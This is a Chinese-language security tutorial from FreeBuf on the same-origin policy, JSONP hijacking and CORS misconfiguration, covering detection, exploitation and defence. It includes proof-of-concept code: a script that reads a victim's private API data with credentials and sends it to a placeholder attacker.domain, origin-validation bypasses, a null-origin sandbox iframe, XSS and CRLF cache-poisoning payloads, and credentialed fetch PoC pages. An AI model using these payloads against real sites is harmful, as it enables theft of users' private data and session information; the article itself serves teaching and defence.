freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JSONP劫持CORS跨源资源共享漏洞
2019-07-08 11:53:25

一、基础知识

1. 同源策略(SOP,Same-origin policy)

同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。image

同源策略下的跨域请求

image

同源判断示例:URL地址 http://www.example.com/dir/page.html

Compared URLOutcomeReason
http://www.example.com/dir/page2.htmlSuccessSame protocol, host and port
http://www.example.com/dir2/other.htmlSuccessSame protocol, host and port
http://domain-ip/dir/page2.htmlFailureDifferent host (exact match required)
http://username:password@www.example.com/dir2/other.htmlSuccessSame protocol, host and port
http://www.example.com:81/dir/other.htmlFailureSame protocol and host but different port
https://www.example.com/dir/other.htmlFailureDifferent protocol
http://en.example.com/dir/other.htmlFailureDifferent host
http://example.com/dir/other.htmlFailureDifferent host (exact match required)
http://v2.www.example.com/dir/other.htmlFailureDifferent host (exact match required)
http://www.example.com:80/dir/other.htmlDependsPort explicit. Depends on implementation in browser

2. AJAX(Asynchronous JavaScript + XML,异步JavaScript和XML)

AJAX本身不是一种新技术,而是用来描述一种使用现有技术集合/标准的新方法,包括: HTML or XHTMLCascading Style SheetsJavaScriptThe Document Object ModelXMLXSLT 以及 XMLHttpRequest object。当使用结合了这些技术的AJAX模型以后, 网页应用能够快速地将增量更新呈现在用户界面上,而不需要重新加载整个页面。这使得程序能够更快地回应用户的操作。

尽管X在Ajax中代表XML, 但由于JSON的许多优势,比如更加轻量以及作为Javascript的一部分,目前JSON的使用比XML更加普遍。JSON和XML都被用于在Ajax模型中打包信息。

XMLHttpRequest (XHR) 详解

二、跨域/放宽同源策略

1. AJAX跨域

1.1 JSONP(JSON with Padding)

JSONP就是利用 <script> 标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。

1.1.1 实现原理

image

1.1.2 流程图

image

1.2 CORS(Cross-origin resource sharing)

CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。通过该标准,可以允许浏览器向跨源服务器发出 XMLHttpRequest 请求,从而克服了AJAX只能同源使用的限制,进而读取跨域的资源。CORS允许Web服务器通知Web浏览器应该允许哪些其他来源从该Web服务器的回复中访问内容

1.2.1 实现原理

跨域资源共享 CORS 详解

image

1.2.2 流程图

未启用CORS

image

CORS未设置Access-Control-Allow-Credentials ,则浏览器发送的请求不会带有用户的身份数据(Cookie或者HTTP身份数据)

image

1.2.3 CORS错误配置问题总结

1.2.3.1 ACAOACAC头错误配置

利用空格来分隔多个源 Access-Control-Allow-Origin: https://example1.com https://example2.com利用通配符信任所有的子域名 Access-Control-Allow-Origin: *.example.com浏览器报错

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Nginx 错误配置示例:

add_header "Access-Control-Allow-Origin" $http_origin;
add_header “Access-Control-Allow-Credentials” “true”;

动态生成访问控制策略的方法:在Access-Control-Allow-Origin中反射请求的Origin值。该配置可导致任意攻击者网站可以直接跨域读取其资源内容。

1.2.3.2 Origin校验绕过

target.domain允许example.com跨域,对example.com进行校验

匹配方式校验内容绕过方式
包含匹配只校验是否包含example.com构造Origin: https://malicious.example.com
前缀匹配只校验前缀是否为example.com构造Origin: https://example.com.malicious.com.
后缀匹配只校验后缀是否为example.com构造Origin: https://maliciousexample.com
子域名匹配只校验是否为子域名控制目标站点某一子域名或利用存在XSS漏洞的子域名

尽量避免使用正则表达式进行校验

案例:https://www.freebuf.com/articles/web/158529.html

1.2.3.3 信任null

开发者在网站上配置信任null源,用于调试代码(页面跳转、与本地file页面共享数据)

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

攻击者可从任意域下通过iframe sandbox构造Originnull的跨域请求

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,’>

请求包

GET /handler
Host: target.local
Origin: null

响应包

HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

1.2.3.4 HTTPS域信任HTTP域

HTTPS协议被设计用于在不安全的网络中进行安全通信。即使在中间人网络环境下,攻击者也应该无法读取HTTPS网站的内容。但是如果该HTTPS网站配置了CORS且信任HTTP域,那么中间人攻击者可以先劫持受信任HTTP域,然后通过这个域发送跨域请求到HTTPS网站,间接读取HTTPS域下的受保护内容。

image

1.2.3.5 信任自身全部子域

为了防止某个子域上XSS漏洞的危害其他子域,浏览器设计了Cookiehttponly标志,用于限制Javascript读取Cookie,因此某个子域XSS不能读取带有httponly标记的Cookie,难以窃取其他重要子域上的敏感内容。 但是如果这个域配置了CORS且信任全部子域,那么攻击者可以利用其他任意子域上XSS漏洞,发送跨域请求到目标重要域网站,从而获取敏感内容。

案例:https://www.freebuf.com/articles/web/204023.html

1.2.3.6 Origin:*Credentials:true 共用

浏览器报错

Access-Control-Allow-Origin:*
Access-Control-Allow-Credentials:true

为避免该配置产生浏览器报错,部分Web框架将Access-Control-Allow-Origin:*Access-Control-Allow-Credentials:true转换为反射Origin,导致产生安全问题

59827944-729aa800-936c-11e9-85b8-3b1091672fe3.png

1.2.3.7 缺少Vary:Origin

Access-Control-Allow-Origin 是被动态生成的话,则需指定 Vary: Origin 标头,避免攻击者利用缓存进行攻击。该头部字段向客户端表明,服务器端的返回内容将根据请求中 Origin 的值发生变化。

Vary: Origin头详解https://zhuanlan.zhihu.com/p/38972475

2. Cookie跨域

Cookies 使用不同的源定义方式。一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。Firefox 和 Chrome 使用 Public Suffix List 决定一个域是否是一个公共后缀(public suffix)。Internet Explorer使用其自己的内部方法来确定域是否是公共后缀。不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名(sub-domains) 访问 cookie。设置 cookie 时,可以使用DomainPathSecure,和Http-Only标记来限定其访问性。

Cookie共享:https://localhost:8080/http://localhost:8081/

三、JSONP漏洞挖掘、利用与防御

3.1 挖掘

方法一:GoogleHacking语法site:target.com inurl:?callback

image

方法二:浏览器-调试-搜索关键字(json/jsonp/callback)

image

3.2 利用案例

http://www.anquan.us/static/bugs/wooyun-2016-0204941.htmlhttp://www.anquan.us/static/bugs/wooyun-2015-0118712.html

3.3 防御

referer校验/过滤增加CSRF Token

防御同XSS漏洞结合:严格按照 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )对callback函数的长度进行限制、内容进行特殊字符的过滤

四、CORS漏洞检测、利用与防御

4.1 检测

方法一

Proxy-Options-Match and Replace

image

Filter by search term中输入Access-Control-Allow-Origin: foo.example.org

imageimageimage

方法二

imageimage

方法三

curl cors漏洞站点 -H "Origin:https://example.com/" -I

image

方法四

https://github.com/chenjj/CORScannerhttps://github.com/lc/theftfuzzer

4.2 利用

4.2.1 存在用户凭证

“Access-Control-Allow-Origin” value“Access-Control-Allow-Credentials” value是否可利用备注
https://attacker.comtrue最佳实践
*true浏览器报错
nulltrue任意网站使用沙盒iframe来获取null
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,’>

利用过程

1.创建一个JavaScript脚本去发送CORS请求,POC关键代码如下:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(“get”,”https://vulnerable.domain/api/private-data”,true);
req.withCredentials = true;
req.send();
function reqListener() {
 location=”//attacker.domain/log?response=”+this.responseText;
};

2.当带有目标系统用户凭据的受害者访问带有上述代码的页面时,浏览器就会发送下面的请求到存在CORS漏洞的服务器

GET /api/private-data HTTP/1.1
Host: vulnerable.domain
Origin: https://attacker.domain/
Cookie: JSESSIONID=<redacted>

3.响应包

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: https://attacker.domain
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-Credentials
Vary: Origin
Expires: Thu, 01 Jan 1970 12:00:00 GMT
Last-Modified: Wed, 02 May 2018 09:07:07 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/json;charset=ISO-8859-1
Date: Wed, 02 May 2018 09:07:07 GMT
Connection: close
Content-Length: 149
{"id":1234567,"name":"Name","surname":"Surname","email":"email@target.local","account":"ACT1234567","balance":"123456,7","token":"to
p-secret-string"}

4.因为服务器发送了头部字段“Access-Control-Allow-*”给客户端,所以,受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。image

4.2.2 不存在用户凭证

“Access-Control-Allow-Origin” value是否可利用
https://attacker.com
null
*

利用方式

4.2.2.1 绕过基于IP的认证

如果目标应用程序与受害者的网络可达,并且目标应用程序使用IP地址作为身份验证的方式,则黑客会利用受害者的浏览器作为代理去访问那些目标应用程序并且可以绕过那些基于IP的身份验证。

4.2.2.2 客户端缓存中毒

该配置下,攻击者可结合其他的漏洞进行攻击。例如,数据报文头部中包含 X-User 标头,其值未进行任何输入验证、输出编码。

请求包

GET /login HTTP/1.1
Host: www.target.local
Origin: https://attacker.domain/
X-User: <svg/onload=alert(1)>

响应包

Access-Control-Allow-Origin已被设置,Access-Control-Allow-Credentials: trueVary: Origin 头未被设置

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.domain/
 … 
Content-Type: text/html 
… 
Invalid user: <svg/onload=alert(1)>

攻击者可构造存在恶意的XSS payload页面,诱使受害者触发。

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://www.target.local/login',true);
req.setRequestHeader('X-User', '<svg/onload=alert(1)>');
req.send();
function reqListener() {
 location='http://www.target.local/login';
}

利用效果image

若不存在CORS漏洞,则上述方式不能被利用,因为无法让受害者浏览器发送自定义头部,但是如果存在CORS漏洞,则可用 XMLHttpRequest 进行实现

防御方法当 Access-Control-Allow-Origin 是被动态生成的话,需指定 Vary: Origin 标头。该头部字段向客户端表明,服务器端的返回内容将根据请求中 Origin 的值发生变化。

4.2.2.3 服务器端缓存中毒

该配置下,攻击者可结合其他的漏洞进行攻击。例如,利用CORS的错误配置注入任意HTTP头部,将其保存在服务器端缓存,可用来构造存储型XSS

利用条件:存在服务器端缓存、能够反射Origin头部、不会检查Origin头部中的特殊字符,如\r

利用方式:攻击IE/Edge用户(IE/Edge使用\r作为的HTTP头部字段的终结符)

请求

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

回车 代码:CR(carriage return) ASCII码:\ r ,十六进制:0x0d,回车的作用只是移动光标至该行的起始位置换行 代码:LF(line feed) ASCII码:\ n ,十六进制:0x0a,换行至下一行行首起始位置

IE解析后的响应报文

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

上述方式无法直接利用,因为攻击者无法保证受害者浏览器会提前发送畸形的消息头。如果攻击者能提前发送畸形的Origin消息头,比如利用代理或者命令行的方式发送,则服务器就会缓存这样的返回报文并作用于其他用户。上例中,攻击者将页面的编码设置为UTF-7,可引发XSS漏洞。

UTF-7 XSShttp://www.xfcxc.top/index.php/2018/07/20/utf-7-xss/https://sakurasec.com/utf-7-xss/http://www.91ri.org/3979.html

CORS绕过技术:https://www.sxcurity.pro/advanced-cors-techniques/

4.3 防御

4.3.1 通用防御方式

  • 关闭不必要开启的CORS
  • 白名单限制:定义“源”的白名单,避免使用正则表达式,不要配置 Access-Control-Allow-Origin 为通配符 *null ,严格效验来自请求数据包中的 Origin 的值
  • 仅允许使用安全协议,避免中间人攻击
  • 尽可能的返回 Vary: Origin 头部,以避免攻击者利用浏览器缓存进行攻击
  • 避免将 Access-Control-Allow-Credentials 标头设置为默认值 true ,跨域请求若不存在必要的凭证数据,则根据实际情况将其设置为 false
  • 限制跨域请求允许的方法,Access-Control-Allow-Methods 最大限度地减少所涉及的方法,降低风险
  • 限制浏览器缓存期限:建议通过 Access-Control-Allow-MethodsAccess-Control-Allow-Headers 头部,限制浏览器缓存信息的时间。通过配置 Access-Control-Max-Age 标头来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值,确保浏览器在短时间内可以更新策略
  • 仅在接收到跨域请求时才配置有关于跨域的头部,并确保跨域请求是合法的源,以减少攻击者恶意利用的可能性。

4.3.2 常见组件/框架CORS默认配置总结

imageimage

五、靶场及POC

5.1 JSONP

DoraBox/PoCBox

imageimageimage

JSONP-POC

客户端实现 callbackvalue 函数

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP-POC</title>
</head>
<body>
<script type="text/javascript">
function callbackvalue(jsonp)
    {
      alert(jsonp.name);
    }
</script>
<script type="text/javascript" src="http://domain/contents?jsoncallback=callbackvalue"></script>
</body>
</html>

jQuery

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JSONP-POC</title>
  <script src="https://code.jquery.com/jquery-3.4.1.js"></script>  
</head>
<body>
<script type="text/javascript">  
  $.getJSON("http://domain/contents?jsoncallback=?", function(callbackvalue){
     alert(callbackvalue.参数);
  });
</script>
</body>
</html>

5.2 CORS

bWAPP靶场

imageimageimageimage

bWAPP_latest.ziphttps://github.com/gh0stkey/DoraBoxhttps://github.com/gh0stkey/PoCBoxhttps://github.com/trustedsec/cors-pochttps://github.com/nccgroup/CrossSiteContentHijacking

CORS-POC

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://target.com/info/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>
<html>
    <head>
    <script>
        function cors() {
            var r = new XMLHttpRequest();
            r.onreadystatechange = function() {
                if (r.readyState == 4 && r.status == 200) {
                    alert(r.responseText);
                }
            };
            r.open("GET", "https://target.com/info/", true);
            r.send();
        }
    </script>
    </head>
    <body>
    <button type="button" onclick="cors()">Exploit</button>
    </body>
</html>

imageindex.html

<!DOCTYPE html>
<html>
<head>
    <title>CORS PoC</title>
</head>
<body>
<center>
    GET Request
    <form action="./get.php">
        URL: <input type="text" name="url"><br>
        <input type="submit" value="Attack">
    </form>
    <br><br>
    POST Request
    <form action="./post.php" id="postform">
        URL: <input type="text" name="url"><br>
        Data: <br><textarea rows="4" cols="50" name="data" form="postform"></textarea><br>
        <input type="submit" value="Attack">
    </form>
</center>
</body>
</html>

get.php

<!DOCTYPE html>
<html>
<head>
    <title>CORS TEST</title>
</head>
<body>
    <div id='output'></div>
    <script type="text/javascript">
            var req = new XMLHttpRequest(); 
            req.onload = reqListener; 
            req.open('get','<?php echo @$_GET["url"];?>',true);
            // req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;"); 
            req.withCredentials = true;
            req.send();
            function reqListener() {
                var output = document.getElementById('output');
                output.innerHTML = "URL: <?php echo @$_GET["url"];?><br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
                // document.write(this.responseText);
            };
    </script>
</body>
</html>

post.html

<!DOCTYPE html>
<html>
<head>
    <title>CORS TEST</title>
</head>
<body>
    <div id='output'></div>
    <script type="text/javascript">
            var req = new XMLHttpRequest(); 
            var data = "<?php echo @$_GET["data"];?>";
            req.onload = reqListener; 
            req.open('post','<?php echo @$_GET["url"];?>',true);
            req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;"); 
            req.withCredentials = true;
            req.send(data);
            function reqListener() {
                var output = document.getElementById('output');
                output.innerHTML = "URL: <?php echo @$_GET["url"];?><br>Data: <?php echo @$_GET["data"];?><br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
                // document.write(this.responseText);
            };
    </script>
</body>
</html>

六、对比及区别

6.1 CORS与JSONP的区别

JSONP只支持GET请求,支持老式浏览器

<script>标签只能发送GET请求

CORS支持所有类型的HTTP请求

6.2 JSON与JSONP的区别

JSON为数据格式JSONP为跨域方式

6.3 AJAX与HTTP请求的区别

6.3.1 本质:

AJAX就是浏览器发出的HTTP请求,存在同源策略限制AJAX是发送HTTP请求的一种方式AJAX请求的XMLHttpRequest对象就是浏览器开放给JS调用HTTP请求使用的

6.3.2 不同点:

AJAX请求受到浏览器的同源策略限制,存在跨域问题AJAX在进行CORS非简单请求时,浏览器会发出OPTIONS预检请求AJAX会自动带上同域CookieAJAX与HTTP请求相比,存在浏览器的封装(预处理+特定限制)image

6.4 CSRF与CORS漏洞的区别

6.4.1 相同点

都需要借助第三方网站都需要借助AJAX都需要用户登陆

6.4.2 不同点

第三方网站可利用CORS漏洞读取受害者的敏感信息第三方网站可利用CSRF漏洞代替受害者执行敏感操作

七、参考链接

https://www.bedefended.com/papers/cors-security-guide

https://blog.csdn.net/niexinming/article/details/82719092

http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html

http://www.ruanyifeng.com/blog/2016/04/cors.html

https://en.wikipedia.org/wiki/Same-origin_policy

https://en.wikipedia.org/wiki/Cross-origin_resource_sharing

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

https://developer.mozilla.org/zh-CN/docs/Web/Guide/AJAX

https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

https://dailc.github.io/2017/03/22/ajaxCrossDomainSolution.html

https://dailc.github.io/2018/01/04/security_ajaxissafeornot.html

https://juejin.im/post/5b0bac706fb9a009e70e9381#heading-4

https://www.w3.org/TR/cors/#handling-a-response-to-a-cross-origin-request

https://websec.readthedocs.io/zh/latest/vuln/xss/sop.html

https://www.trustedsec.com/2018/04/cors-findings/

https://cloud.tencent.com/developer/article/1436061

https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

https://www.jianjunchen.com/post/

# cors # SOP # jsonp # xhr # ajax
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者